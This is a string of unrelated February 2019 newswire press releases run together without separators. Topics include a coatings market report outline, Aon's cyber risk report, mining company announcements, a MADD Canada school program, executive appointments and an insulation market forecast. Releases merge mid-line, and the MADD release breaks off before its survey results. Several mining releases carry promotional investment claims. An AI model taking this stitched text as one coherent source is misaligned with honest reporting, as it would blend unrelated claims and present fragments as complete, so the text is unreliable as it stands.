4.1.4 Auto Type

4.1.4.1 Cars

4.1.4.2 Commercial vehicles

4.1.4.3 Two-wheelers

4.1.4.4 Others

4.1.5 Vehicle Age

4.1.5.1 < 5 years

4.1.5.2 5-10 years

4.1.5.3 >10 years

4.1.6 Sales Channel

4.1.6.1 OEM

4.1.6.2 Aftermarket

4.2 Value Chain Analysis

4.3 Market Dynamics

4.3.1 Trends

4.3.1.1 Introduction of environment-friendly and low emission automotive refinish coating materials in the market

4.3.2 Drivers

4.3.2.1 Rising disposable income

4.3.2.2 Increase in number of vehicle collisions

4.3.2.3 Increasing average age of vehicles

4.3.3 Restraints

4.3.3.1 Lack of skilled professionals

4.3.4 Opportunities

4.3.4.1 Growth in rental car owners and used car market

4.4 Regulation Analysis

4.5 Pricing Analysis

4.5.1 Clearcoats

4.5.2 Basecoats

4.5.3 Primers and Fillers

4.5.4 Others



Chapter 5. Indonesia Market Size and Forecast

5.1 By Product Type

5.2 By Resin Type

5.3 By Technology

5.4 By Auto Type

5.5 By Vehicle Age

5.6 By Sales Channel

5.7 By Region



Chapter 6. Benchmarking of Key Players

6.1 Market Share Analysis of Key Players

6.2 Market Share Analysis by Brands

6.3 Competitive Benchmarking of Key Players

6.4 Global Strategic Developments of Key Players

6.4.1 Product Launches

6.4.2 Facility Expansions

6.4.3 Others



Chapter 7. Company Profiles



BASF SE

Akzo Nobel N.V.

Kansai Paint Co. Ltd.

The Lubrizol Corporation

PPG Industries Inc.

The Sherwin-Williams Company

PT. Hartwell Paint Indonesia

PT. Danapaint Indonesia

Alps Coating Sdn. hd.

PT. Anugerah Berkat Cahayaabadi

PT. Victorindo Pratama Mandiri

PT. PABRIK CAT DAN TINTA

ACIFIC PAINT

KCC Corporation

PT. NP Auto Refinishes Indonesia

For more information about this report visit https://www.researchandmarkets.com/research/xh5krn/indonesia?w=12



Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research.English French

TORONTO, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Aon plc (NYSE:AON), the leading global professional services firm providing a broad range of risk, retirement and health solutions, released its 2019 Cyber Security Risk Report today. The report, which details the greatest cyber security threats and challenges organizations are currently facing, discusses that as companies continue to use technology to speed up the transfer of information, game-changing business opportunities are created, as well as increased cyber risk.



In 2018 we witnessed that a proactive approach to cyber preparation and planning paid off for the companies that invested in it, and in 2019, we anticipate the need for advanced planning will only further accelerate, said J. Hogg, CEO of Cyber Solutions at Aon. Leaders must work to better insulate their companies and their processes, while simultaneously identifying the ways they can benefit from the opportunities offered through technology and digital transformation.

Hogg continued: Our 2019 report also shows that organizations must recognize the need to share threat intelligence across not only their own network but with others as well. While it may seem counterintuitive when thinking about cyber security, collaboration within and across enterprises and industries can keep private data of companies and individuals alike safer. Working together can result in improved efforts to hunt bad actors, while also raising the bar and making all parties more prepared for the inevitable day when a disruption does happen.

The Whats Now and Whats Next report focuses on eight specific risk areas that companies may face in 2019. The risks illustrate how, as organizations transition to a digital-first approach across all transactions, the attack surface of global business expands rapidly and sometimes in unexpected ways. In other words, thanks to the rapid enhancements and constant changes in technology, the number of touch points that cyber criminals can access within a business is growing exponentially.

The cyber risks in Canada

In Canada, business leaders are concerned about the same cyber risks outlined in the report. More specifically, organizations are struggling with how to prevent supply chain losses as a result of a cyber event such as Notpetya. The demand for viable and creative insurance solutions that mitigate the losses sustained by supply chain participants when one organization in such a chain is crippled due to a cyber intrusion, has never been higher.

Although Canadian corporate boards and executives have not generally been held to directly account for failures in cyber governance like their American cousins, it is only a matter of time before that trend reverses. Organizations of all sizes and types continue to focus on educating and training their employees about cyber risk and implementing proper protocols and procedures to meet new and more far-reaching regulatory requirements such as mandatory breach notification provisions and the EUs General Data Protection Regulation.

I think we have reached a tipping point in Canada with respect to organizational cyber risk, said Brian Rosenbaum, National Cyber Leader at Aon in Canada. Most organizations finally realize they have some degree of exposure and know they must do something about it. For the better part of the last decade, a large number of Canadian organizations were either ignorant or in denial about their cyber risks. So we have no doubt seen progress. That said, many still have a way to go before they reach a level of cyber maturity to properly deal with that exposure and that is now the new challenge.

Highlights from the report include:

Technology  While technology has revolutionized the way organizations today conduct business, broader and wider-spread use of technology also brings vulnerabilities. From publishing to automotive, industries are facing new, evolving services and business models. These new opportunities however, bring with them a radically different set of risks, which organizations will need to anticipate and manage as they continue the digital transformation process. Supply Chain  Two prevailing supply chain trends will heighten cyber risks dramatically in the coming year: one is the rapid expansion of operational data exposed to cyber adversaries, from mobile and edge devices like the Internet of Things (IoT); and the other trend is companies growing reliance on third-partyand even fourth-partyvendors and service providers. Both trends present attackers with new openings into supply chains, and require board-level, forward-looking risk management in order to sustain reliable and viable business operations. IoT  IoT devices are everywhere, and every device in a workplace now presents a potential security risk. Many companies dont securely manage or even inventory all IoT devices that touch their business, which is already resulting in breaches. As time goes on, the number of IoT endpoints will increase dramatically, facilitated by the current worldwide rollouts of cellular IoT and the forthcoming transition to 5G. Effective organizational inventory and monitoring process implementation will be critical for companies in the coming year and beyond. Business Operations  Connectivity to the Internet improves operational tasks dramatically, but increased connectivity also leads to new security vulnerabilities. The attack surface expands greatly as connectivity increases, making it easier for attackers to move laterally across an entire network. Further, operational shortcuts or ineffective backup processes can make the impact of an attack on business operations even more significant. Organizations need to be better aware of, and prepared for, the cyber impact of increased connectivity. Employees  Employees remain one of the most common causes of breaches. Yet employees likely do not even realize the true threat they pose to an entire organizations cyber security. As technology continues to impact every job function, from the CEO to the entry-level intern, it is imperative for organizations to establish a comprehensive approach to mitigate insider risks, including strong data governance, communicating cyber security policies throughout the organization, and implementing effective access and data-protection controls. Mergers & Acquisitions (M&A)  Projections anticipate that M&A deal value will top $4 trillion in 2018, which would be the highest in four years. The conundrum this poses to companies acquiring other businesses is that while they may have a flawless approach to cyber security enterprise risk, there is no guarantee that their M&A target has the same approach in place. Dealmakers must weave specific cyber security strategies into their larger M&A plans if they want to ensure seamless transitions in the future. Regulatory  Increased regulation, laws, rules and standards related to cyber are designed to protect and insulate businesses and their customers. The pace of cyber regulation enforcement increased in 2018, setting the stage for heightened compliance risk in 2019. Regulation and compliance, however, cannot become the sole focus. Firms must balance both new regulations and evolving cyber threats, which will require vigilance on all sides. Board of Directors  Cyber security oversight continues to be a point of emphasis for board directors and officers, but recent history has seen an expanding personal risk raising the stakes. Boards must continue to expand their focus and set a strong tone across the company, not only for actions taken after a cyber incident, but also proactive preparation and planning.

Learn more about the risks included in Aons 2019 Cyber Security Risk Report.

To learn more about the solutions offered by Aon, please also visit Aon.com.

About Aon

Aon plc (NYSE:AON) is the leading global professional services firm providing a broad range of risk, retirement and health solutions. Our 50,000 colleagues in 120 countries empower results for clients by using proprietary data and analytics to deliver insights that reduce volatility and improve performance.

Follow Aon on Twitter.NEW YORK, Feb. 13, 2019 (GLOBE NEWSWIRE) -- via NetworkNewsAudio - NetworkNewsAudio (NNA), a NetworkNewsWire (NNW) Solution that delivers clients unparalleled visibility, recognition and brand awareness in the investment community, today announces the online availability of its interview with Black Iron Inc. (TSX: BKI) (OTC: BKIRF) (GR: BIN), a client of NNW and iron ore exploration and development company advancing to production its low cost, high purity grade iron ore project in Central Ukraine.



The interview can be heard at http://nnw.fm/bMI45

NNWs Stuart Smith introduces Black Iron CEO Matt Simpson to an interview that first discusses the advantageous location of the companys wholly owned Shymanivske project in Kryviy Rih, Ukraine.

In order to make money in iron ore, theres two really key things that are essential. The first is access to major infrastructure  being rail, power and port  and the second is proximity to people. Thats what really separates our project from others that are out there, Simpson says.

The Shymanivske project is comprised of a two-phased build-out of the mine and production plant. While the aforenoted proximity to infrastructure significantly reduces the up-front build-out expenses, the relatively low cost of skilled labor in Ukraine reduces both construction and operating costs, Simpson says.

The success of any project is largely contingent on managements ability to overcome challenges. Simpson next describes the qualifications of Black Irons management team and its ability to relaunch the company following Russias invasion of Eastern Ukraine in 2014.

This project was really on the brink of construction in 2014 before Russia invaded Eastern Ukraine  we basically put the project on care and maintenance because we didnt know what the outcome was ultimately going to be, he explains.

Weathering the war, the company now benefits from a favorable exchange rate and an increase in iron ore prices.

So now that were just starting this company, its about getting awareness out to investors, because theyre able to buy a fully de-risked company for the price of an early-stage exploration play, Simpson says.

For 2019, Black Iron is focused on bringing the Shymanivske project to construction. The company is currently in discussions with steel mills, large commodity traders, and engineering and construction companies to secure offtake of its high-grade product in exchange for material investments to fund construction. Black Iron is also working to secure debt financing, as well as surface rights to build the mine and processing plants. With these initiatives underway, Black Iron expects completion of several significant milestones this year and ideally starting construction by the end of 2019.

The interview closes with Simpson describing why he believes Black Iron is a unique investment opportunity. One thing thats really unique and rare with this project  is that its almost agnostic to whatever the commodity price of iron ore is, he says. Its very, very rare that you find a project, even in the 10-year downside pricing scenario, that still provides an after-tax rate of return in excess of 20 percent  were sitting on almost 70 percent after-tax return on this project at todays iron ore prices. So very, very robust economics.

About Black Iron Inc.

Black Iron is an iron ore exploration and development company, advancing its 100 percent owned Shymanivske project located in Kryviy Rih, Ukraine. The Shymanivske project contains a NI 43-101 compliant resource estimated to be 646 Mt Measured and Indicated mineral resources, consisting of 355 Mt Measured mineral resources grading 31.6 percent total iron and 18.8 percent magnetic iron, and Indicated mineral resources of 290 Mt grading 31.1 percent total iron and 17.9 percent magnetic iron, using a cut-off grade of 10% percent magnetic iron. Additionally, the Shymanivske project contains 188 Mt of Inferred mineral resources grading 30.1 percent total iron and 18.4 percent magnetic iron. Full mineral resource details can be found in the NI 43-101 compliant technical report entitled Preliminary Economic Assessment of the Re-scoped Shymanivske Iron Ore Deposit effective November 21, 2017, under the companys profile on SEDAR. The Shymanivske project is surrounded by five other operating mines, including ArcelorMittals iron ore complex. For more information, visit the companys website at www.BlackIron.com .

About NetworkNewsAudio

NetworkNewsAudio (NNA) , a NetworkNewsWire (NNW) Solution, allows you to sit back and listen to market updates, CEO interviews and a Company AudioPressRelease (APR) . These audio clips provide snapshots of position, opportunity and momentum. NetworkNewsAudio (NNA) can assist your company by cutting through the overload of information in today's market, NNA brings its clients unparalleled visibility, recognition and brand awareness. NetworkNewsWire (NNW) is where news, content and information converge. NetworkNewsWire (NNW) is a comprehensive provider of news aggregation and syndication, enhanced press release services and a full array of social communication solutions. As a multifaceted financial news and distribution company with an extensive team of journalists and writers, NNW has the unparalleled ability to reach a wide audience of investors, consumers, journalists and the general public with an ever-growing distribution network of more than 5,000 key syndication outlets across the nation.

For more information, visit: www.NetworkNewsAudio.com

Please see full terms of use and disclaimers on the NetworkNewsWire website applicable to all content provided by NNW, wherever published or re-published: http://NNW.fm/Disclaimer .

Forward-Looking Statements

This release contains forward-looking statements within the meaning of Section 27A of the Securities Act of 1933, as amended and Section 21E of the Securities Exchange Act of 1934, as amended. All forward-looking statements are inherently uncertain as they are based on current expectations and assumptions concerning future events or future performance of the company. Readers are cautioned not to place undue reliance on these forward-looking statements, which are only predictions and speak only as of the date hereof. In evaluating such statements, prospective investors should review carefully various risks and uncertainties identified in this release and matters set in the company's SEC filings. These risks and uncertainties could cause the company's actual results to differ materially from those indicated in the forward-looking statements.

Corporate Communications:COEUR D'ALENE, Idaho, Feb. 13, 2019 (GLOBE NEWSWIRE) -- New Jersey Mining Company (CSE/OTCQB:NJMC) (NJMC or the Company) distributed the following letter to Shareholders from NJMC President & CEO John Swallow:



At New Jersey, the business dictates the narrative therefore we take a decidedly different approach to the junior mining industry, one that is unique to our team and asset base. The opportunity to start small and scale into a growing producer in a largely forgotten gold district is very rare and fully embraced by our team.

The details of New Jerseys from there to here are fairly well documented and largely in the rear-view mirror. On a daily basis we endeavor to identify operational and corporate inflection points along the theoretical production and valuation curve (basically, we are on the job). And while progress is never linear, in broad terms we would like to provide additional perspective on how we get from here to there.

As industry veterans, while we support the lofty goals of fellow Idaho and Montana firms, our firsthand small company experience of going into production cannot be overstated. Recognizing how disparate ownership(s) become whole, identifying how the potential of individuals can become the team, and the drive of management to personally invest in a journey that relies entirely on its own ability for success  is a scarce commodity in any industry or business. We recognize that many junior exploration companies never go into production and/or end up being utilized by the majors to de-risk a property until the time and price are right for their respective companies. Business is business, and while we make a conscious effort toward win-win transactions and working with our partners, we are careful to not make their business plan, our business plan.

While many of the long-lived mines of today started as small mines, organically growing production on a small scale is nearly impossible if a company has to first raise $20 million+/- and then; identify the district, acquire the land, conduct successful exploration, drill 180+/- holes, prove up a deposit, permit a mine, permit a mill, design/build/operate a mill, develop the mine site improvements and infrastructure, operate drill rigs, build the teams, etc., etc. Simply put, the economics, time frames, and industry cycles are not kind to such an approach, therefore the benefit/value of specific knowledge, timing, prior investment and calculated risk also cannot be overstated. We are driven by the home run potential of discovery, however we recognize that runs are more commonly scored with the compounding of base hits  and that active participation (production) is a necessary and elusive pre-requisite when developing both methods of scoring for our shareholders.

Mining is a commodity business and volatility is to be expected. To advance toward a mid-tier producer and build upon the challenges outlined above, we first successfully de-levered and reduced tail risk as much as possible. We believe the focus on building/protecting the base will provide a certain value regardless of market cycles. While our energy is now largely aimed at production and the virtuous cycle of additional resources, projects and assets, the New Jersey of today is better-situated to weather a downturn and retain the components for early leverage into the next upturn, should those conditions become reality.

Additionally, we believe the many-faceted characteristics of the base mentioned above, along with having infrastructure in place, moves ounces at the upper end of the scale closer to reality while adding value to our other properties in the MGB. Furthermore, we believe our production-based approach will be viewed favorably by fellow industry participants  including Hecla in the MGB, Endomines in Elk City and our JV partner in Montana.

Setting aside the big picture discussion of our other assets in the MGB, Elk City and Butte Highlands  at the Golden Chest heres how we see it. at one end of the scale is The Chest  currently a roughly 5,000+/- ounce per year gold producer  AND  at the other end of the scale is The Chest  with a roughly 400,000 ounce open pit gold resource (254,000 ounces measured/indicated and 223,000 ounces inferred) in a high level open pit mine plan leveraged to higher gold prices.

Our strategy at the Golden Chest includes a combination of surface and underground production. Evaluation of different size surface operations and the underground beyond current production in the Skookum Shoot is ongoing (including the yet-to-be-tested down-dip extent/vertical continuity of all the shoots). Also, at some point along the gold price/deposit size/optimization and confidence curve, the facts might dictate we consider a larger mill near the mine. This is an active discussion.

As a small company looking to grow, we dont have the luxury of overly complex plans or endless science projects. Our team combines a tremendous amount of science with (we like to think) an abundance of common sense. In short, while we cant put gold in the ground, we are going to get it if its there (and economically). In addition to our well-seasoned business and operational teams, we actively identify and work alongside our next generation of managers and operators. We know firsthand the incredible effort required to keep things simple and promote a culture worth fostering.

New Jerseys press releases largely reflect our overall belief in the potential of the Golden Chest and the MGB, not to mention our projects in Elk City and Montana. An update of our website content is planned over the coming weeks to further reflect the narrative. Please stay tuned

John Swallow

President and Chief Executive Officer

About New Jersey Mining Company

New Jersey Mining Company is headquartered in North Idaho, where it is producing gold at its Golden Chest Mine. Gold was first discovered in the Coeur dAlene District within the Murray Gold Belt in 1879, but by 1888 mining declined as the center of activity and demand for labor shifted to the Silver Valley following the discovery of the Bunker Hill, Sunshine, Lucky Friday, and other iconic regional mines. The rebirth of the long-forgotten Murray Gold Belt has been led by NJMC, as evidenced by production from open-pit and underground operations at the Golden Chest Mine, its extensive land package and superior knowledge of the district gained from current development and production, and ongoing exploration activities.

NJMC has established a high-quality, early to advanced-stage asset base in three historic mining districts of Idaho and Montana, which includes the currently producing Golden Chest Mine. The Companys objective is to use its considerable in-house skill sets to build a portfolio of mining and milling operations, with a longer-term vision of becoming a mid-tier producer. Management is shareholder focused and owns more than 15-percent of NJMC stock.

The Companys common stock trades on the OTC-QB and CSE Market under the symbol NJMC.

For more information on New Jersey Mining Company go to www.newjerseymining.com or call:

Monique Hayes, Corporate Secretary/Investor Relations

Email: monique@newjerseymining.com

(208) 625-9001OAKVILLE, Ontario, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Manitoba middle and high school students are seeing how one split-second decision to drive impaired today can take away all their tomorrows in MADD Canadas latest School Assembly Program.



Supported by Manitoba Public Insurance (MPI), the 45-minute program titled No Tomorrow shows students how mixing alcohol, cannabis and other drugs with driving can have tragic and permanent consequences. Crashes were the leading cause of death for young people between the ages of 16 and 25 years in 2014, and MADD Canada estimates more than half of those crashes involved alcohol and/or drugs.

Our School Assembly Program combines a fictional story, interviews with real-life victims/survivors of impaired driving, and some powerful and sobering facts about the disproportionate toll impaired driving takes on young people, said MADD Canada Chief Operating Officer Dawn Regan. We want to give students a realistic idea about all the things that can happen if they drive impaired or ride with an impaired driver, and then start a conversation about everything they can to protect themselves.

MADD Canada and MPI host a special screening of No Tomorrow today at College St. Norbert Collegiate in Winnipeg to highlight the programs tour of schools across the province.

No Tomorrow tells the story of bandmates Marcus, Corey, Trevor and Lee. After winning a contest to record a demo, they get an incredible chance to audition for a music school. Before their audition, Trevor has a few drinks. He is affected more than he thinks, and makes mistakes during the audition. Marcus is offered a spot at the school right away, and Corey and Lee are given an opportunity to re-apply next year. But Trevor, who was obviously impaired during the audition, is not offered a spot or chance to re-apply. The school has a zero tolerance policy for alcohol or drugs. Trevor storms off to the car. Marcus tries unsuccessfully to take the keys. Realizing he cant stop Trevor from driving away, Marcus jumps in the car. What happens next changes all of their lives forever.



A clip of the new program is available on MADD Canadas web site. The formal presentation is supplemented by an Educators Guide to help teachers and counsellors continue the crucial sober driving conversation throughout the school year.

MPI, a long-time sponsor of the School Assembly Program, is funding 109 presentations of the program at Manitoba schools this year.

At MPI, we are striving to create a traffic safety culture which keeps roads safe for everyone, said Satvir Jatana, MPI Vice-President, Human Resources and Chief Human Resources Officer. This partnership with MADD Canada is a vital way to help reach young people, and to educate them about the very real tragedies and very real consequences that come from impaired driving. MPI is proud to be part of this effort to educate young people and help them build a foundation for life-long safe and sober driving.

Surveys show MADD Canadas education efforts are resonating with young people. In a 2017-2018 survey about that years School Assembly Program, titled The Pact, students said:Lamjung teacher shortlisted for Global Teacher Prize

A teacher from Lamjung has made it to the top 50 list of finalists for the Varkey Foundations Global Teacher Prize 2019.ARLINGTON, Va., Feb. 13, 2019 (GLOBE NEWSWIRE) -- Planned Systems International, Inc. (PSI), a leading provider of Health IT solutions to the federal government, is pleased to announce the expansion of its executive leadership team to include the appointment of Pamela Graff as Chief Strategy Officer and Justin Bacon as Acting Chief Growth Officer. These new roles will further align PSIs corporate structure with its long-term strategy of improving the delivery of healthcare and becoming the partner of choice for its government customers.



Pamela Graff brings over 20 years of experience providing executive leadership to government-focused healthcare companies, including holding senior management positions with Northrop Grumman and SAIC. Prior to founding her own company, QuarterLine, in 2009, Pamela worked for a private equity firm where she led the corporate turnaround of a national healthcare company. She also spent time with the Department of Veterans Affairs developing a 20-year plan to improve the healthcare delivery for our nations veterans. In her role at PSI, Pamela will work to unify operations and solutions, focusing on strategic growth areas and new capability target areas.

Pamela holds an undergraduate degree from Purdue University, and completed her postgraduate studies in International Economics at the Institut dEtudes Economiques in Brussels, Belgium.

Since 2012, Justin Bacon has served as senior vice president at QuarterLine, providing day-to-day management of the companys healthcare and technology business units and overseeing all business development activities. Under his leadership, QuarterLine realized an average YoY growth of 38% with strategic wins in the Department of Veterans Affairs (VA), Department of Defense (DoD), U.S. Special Operations Command (USSOCOM), National Institutes of Health (NIH) and Nuclear Regulatory Commission (NRC). Prior to QuarterLine, Justin worked for Booz Allen Hamilton, focusing on Cybersecurity Engineering within the civilian and commercial sectors.

Justins role at PSI will include translating the companys growth strategy into well-defined tactical plans for execution and working with PSI to gain efficiencies and synergy within the companys various business units. He holds a B.S. degree in Corporate Finance from the University of Delaware.

Pamela and Justin are the clear choices to help guide organizational transformation and lead PSI into the future. Were excited to welcome them both into the PSI family, said Terry Lin, CEO. The additions of these experienced healthcare leaders will position PSI for continued growth as we build on our momentum to deliver value and support our Government clients in their mission to improve the delivery of healthcare.

These new leadership roles build on PSIs recent acquisitions of QuarterLine and KINEX, Inc. Both broaden PSIs health IT and cybersecurity capabilities to better serve the companys federal, state, local and commercial clients.

About Planned Systems International, Inc.

Founded in 1988, PSI is a CMMI Maturity Level 3-appraised, ISO 9001:2015, ISO 20000-1:2011, ISO 27001:2013, and ISO 14001:2015-certified enterprise IT solutions and management consulting services provider specializing in Healthcare & Healthcare IT, Cyber Security & Intelligent Information Sharing, and Advisory & Assistance Services. PSI has a stellar record of past performance and award-winning experience, and our core capabilities include: Enterprise Architecture & Design; Software Development & Maintenance; Systems Integration; IT Modernization; IV&V Testing Services; Cloud Computing; E-Learning & Medical Modeling & Simulation; Big Data Analytics & Business Intelligence; Mobility & Theatre Support Systems.

PSI has earned a reputation for applying the state-of-the-art technologies and the industry's most successful methodologies to support business solutions for the Department of Defense (DoD), Veterans Affairs (VA), Department of Homeland Security (DHS), U.S. Department of Agriculture (USDA), and other Government clients.

For more information, visit www.plan-sys.com and connect with us on LinkedIn and Facebook.VANCOUVER, British Columbia, Feb. 13, 2019 (GLOBE NEWSWIRE) -- Declan Cobalt Inc. ("Declan" or the "Company") (CSE: LAN) (OTCQB: DCNNF) announces that it paid a non-refundable deposit and entered into a term sheet (the "Term Sheet") dated February 7, 2019, through its wholly-owned subsidiary, East Bull Resources Inc. ("East Bull"), with Pavey Ark Minerals Inc. ("Pavey Ark"), an arm's length private company that generates mineral exploration projects. The Term Sheet proposes that East Bull would be granted, on an arms length basis, an option from Pavey Ark to acquire a 100% interest in the East Bull palladium property in the Sudbury Mining Division (Ontario) (the "Property"). P&E Mining Consultants Inc. of Brampton, Ontario has prepared a NI 43-101 compliant report on the Property dated April 5, 2018 (the "43-101 Report"). The NI 43-101 Report references a pit-constrained inferred resource of 11.1 million tonnes of 1.46 grams per tonne (523,000 ounces) palladium equivalent. The NI 43-101 Report is available for review at www.paveyarkminerals.com , and will be filed on SEDAR within 180 days of this announcement.



Palladium has recently rallied to a price exceeding that of gold. Palladium is the principal element used in internal combustion engine catalytic converters. Deposits are rare, found generally in South Africa, Russia, Montana and the Sudbury Basin in Ontario, where the Property is located. High demand for palladium is expected to continue due to many jurisdictions (including China) implementing more stringent domestic emissions standards.

The Property consists of approximately 1000 hectares covering more than 3.6 kilometres of the East Bull layered intrusion. This area consists of an inclusion bearing zone hosting palladium mineralization.

The 43-101 Report recommends an exploration program to extend and define the known mineralization. Declan has not undertaken any independent detailed investigation of the information contained in NI 43-101 Report in order to verify the accuracy of the information. However, Declan believes that following the recommended exploration work program will increase the current resource and help to define the extent of the palladium mineralization.

Under the proposed terms of the transaction, Declan would issue stock, make cash payments and discharge work commitments over the course of a four-year period. Over the four-year period, a total of $1 million in cash will be paid, 4.5 million shares of Declan will be issued and priced within the context of the market at the time of issuance, and a work commitment of $1.75 million will be completed. The Term Sheet also contemplates that if the option is exercised in full, Declan would acquire a 100% interest in the Property and would grant to Pavey Ark a Net Smelter Royalty on any mineral production from the Property. If Declan does not exercise the option in full, then a 100% interest in the Property will remain with Pavey Ark. The terms and conditions of the transaction will be set out in a definitive binding agreement to be negotiated between the parties and intended to be executed on or before February 28, 2019.

Th definitive agreement will be subject to a number of conditions including, without limitation, the parties having received any necessary approvals, consents and authorizations. In addition, each party shall have completed their due diligence to their satisfaction including, without limitation, Declan being satisfied that it will acquire good and valid title to the Property, free and clear of any and all liabilities and encumbrances. A finders fee will be payable on closing in connection with this transaction.

Mr. Wayne Tisdale, CEO of the Company reports:

"We have been presented with a rather unique opportunity to acquire a palladium resource located within 70 kilometres of Sudbury, Ontario. By pursuing, inter alia, the recommended work program referenced in the P&E 43-101, this resource appears to have excellent potential to add palladium ounces to a current diamond drill permitted area. This palladium asset perfectly complements our current copper-cobalt project. At Declan, we are actively pursuing the metals required for current demand (palladium) while also preparing for the increasing demand for cobalt and copper. We call our strategy Metals for Today and Tomorrow ."

Eugene Puritch, P.Eng., President of P&E Mining Consultants Inc., is the independent qualified person (as defined in NI 43-101) responsible for preparing the NI 43-101 Report on the Property. Mr. Puritch has reviewed and approved the technical contents of this press release as they pertain to the Property.

For additional information please contact:

Declan Cobalt Inc.

Wayne Tisdale, President and CEO

T: (604) 639-4455

Reader Advisory

This press release should not be considered a comprehensive summary of the proposed terms of the transaction described above. Additional information may be required and may be disseminated at a future date.

The entering into of a definitive agreement is subject to a number of conditions and there can be no assurance that the definitive agreement will be entered into on the terms proposed or at all.

The Company has not undertaken any independent detailed investigation of the information contained in NI 43-101 Report in order to verify the accuracy of the information or whether the information was prepared in accordance with the requirements of NI 43-101. However, Declan believes that following the recommended exploration work program will increase the current resource and help to define the extent of the palladium mineralization.

This news release contains certain "forward-looking information" within the meaning of applicable securities law. Forward-looking information is frequently characterized by words such as "plan", "expect", "project", "intend", "believe", "anticipate", "estimate" and other similar words, or statements that certain events or conditions "may" or "will" occur. In particular, forward-looking information in this press release includes, but is not limited to, statements with respect to timing of entering into of a definitive agreement, the conditions to entering into of a definitive agreement, the proposed terms of the transaction and the proposed exploration work program on the Property. Although we believe that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. We cannot guarantee future results, performance or achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information.

Forward-looking information is based on the opinions and estimates of management at the date the statements are made and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those anticipated in the forward-looking information. Some of the risks and other factors that could cause the results to differ materially from those expressed in the forward-looking information include, but are not limited to: general economic conditions in Canada and globally; industry conditions, including governmental regulation and environmental regulation; failure to obtain industry partner and other third party consents and approvals, if and when required; the availability of capital on acceptable terms; the need to obtain required approvals from regulatory authorities; stock market volatility; liabilities inherent in mining operations; competition for, among other things, skilled personnel and supplies; incorrect assessments of the value of acquisitions; geological, technical, processing and transportation problems; changes in tax laws and incentive programs; failure to realize the anticipated benefits of acquisitions and dispositions; and the other factors. Readers are cautioned that this list of risk factors should not be construed as exhaustive.

The forward-looking information contained in this news release is expressly qualified by this cautionary statement. We undertake no duty to update any of the forward-looking information to conform such information to actual results or to changes in our expectations except as otherwise required by applicable securities legislation. Readers are cautioned not to place undue reliance on forward-looking information.

The Canadian Securities Exchange has in no way passed upon the merits of the proposed transaction and has neither approved nor disapproved the contents of this press release.

Neither the Canadian Securities Exchange nor its Regulation Services Provider accepts responsibility for the adequacy or accuracy of this release.Selbyville, Delaware, Feb. 13, 2019 (GLOBE NEWSWIRE) --



Global Acoustic Insulation Market demand is expected to grow from USD 12 billion in 2018 to USD 17 billion by 2025, according to a 2019 Global Market Insights, Inc. report. Stringent regulatory policies & norms pertaining to a substantial reduction in atmospheric greenhouse gas emission levels will provide a positive scope for industry expansion. Increasing consumer expenditure along with favorable new housing schemes in both developed and developing countries will drive the overall acoustic insulation market growth. Also, rising standard of living coupled with the upsurge in the utilization of online sales channels for distribution will augment the acoustic insulation market up to 2025.

Surging concerns for employee comfort levels owing to a demand rise for noise-free environments in the commercial buildings will provide a positive scope for industry expansion. Rapid industrialization & increasing construction spending in the developing economies such as Malaysia, India, Mexico, Saudi Arabia, UAE, and Brazil will further support the industry expansion. Factors such as stringent building codes, recovery in building & construction expenditure, and the requirement for energy efficient buildings with sound dampening will augment the acoustic insulation demand up to 2025.

Request for a sample of this research report @ https://www.gminsights.com/request-sample/detail/802

Significant R&D investments made by industry participants owing to continuous innovations and technological advancements within the industry will provide a strong business outlook. For instance, the R&D expense of Recticel Insulation increased from USD 15.35 million in 2016 to USD 16.34 million in 2017. Rapid growth of the transportation sector owing to rising consumer demands for sound-proof vehicles and comfortable driving experience will further boost the product demand up to 2025.

Fiberglass/Glass Wool segment will witness CAGR at over 5% in terms of revenue up to 2025. Significant sound absorption properties achieved through minor air or gas pockets provide a positive outlook for the product demand. In addition, major features such as corrosion-resistance and high resistance to the extreme temperatures will further propel the segment industry growth. Robust growth in building construction spending coupled with stringent building regulations with a major emphasis on sustainability and efficient energy usage will promulgate the segment growth in the industry.

Browse key industry insights spread across 320 pages with 406 market data tables & 15 charts & figures from the report, Acoustic Insulation Market Size By Product (Fiberglass/Glass Wool, Mineral Wool, Plastic Foam [EPS, XPS]), By Application (Building & Construction, Industrial, Transportation), Industry Analysis Report, Regional Outlook (U.S, Canada, Germany, UK, France, Italy, Russia, Netherlands, Spain , Belgium , Sweden , China, India, Japan, Australia, Malaysia, Indonesia, Thailand, South Korea, Vietnam, New Zealand, Brazil, Argentina, Mexico, South Africa, UAE, Saudi Arabia), Application Potential, Price Trend, Competitive Market Share & Forecast, 2018-2025 in detail along with the table of contents:

https://www.gminsights.com/industry-analysis/acoustic-insulation-market

Transportation segment dominated the industry share and accounted for over 25% of the overall demand in 2018. Increasing usage of the product in automotive vehicles, railways and airports areas will result in increase in the product demand. Growing demands for vehicles with low engine noise have enabled manufacturers to develop vehicles with increased automotive soundproofing, thus leading to the increasing use of acoustic products in vehicles.

Asia Pacific is expected to be the fastest growing acoustic insulation market registering a CAGR over 5.5% from 2018 to 2025. Rapid urbanization with the introduction of projects by the government in tier-I and tier-II regions particularly in the Asia Pacific is likely to drive construction chemicals demand. Following the recent focus on fire safety in high-rise buildings in countries including China and Japan the demand for non-combustible stone wool products is expected to witness substantial growth in the region.

Make an inquiry for purchasing this report @ https://www.gminsights.com/inquiry-before-buying/802

BASF, Recticel, Knauf Insulation, Rockwool International A/S, Kingspan Group, K-FLEX, Armacell International S.A., Owens Corning Corp., and Siderise are among major acoustic insulation manufacturers. Global industry share is fragmented with the presence of large manufacturers and regional players. The manufacturers are involved in mergers & acquisitions, production capacity expansions, new product launches to gain competitive share. For instance, in February 2018, Owens Corning announced the acquisition of Paroc Group, a European mineral wool production company to expand the product portfolio of the company.





Browse More New Reports:

1. Metal Structural Insulation Panels Market Size By Application (Walls, Roofs), By End-Use (Residential, Commercial, Non-Building), Industry Analysis, Regional Outlook (U.S., Canada, Germany, France, Poland, UK, Italy, Spain, Ukraine, Netherlands, Turkey, China, India, Japan, South Korea, Indonesia, Thailand, Malaysia, Australia, Brazil, Argentina, Mexico, South Africa, UAE, Saudi Arabia, Kuwait, Egypt), Growth Potential, Price Trend, Competitive Market Share & Forecast, 2018  2024

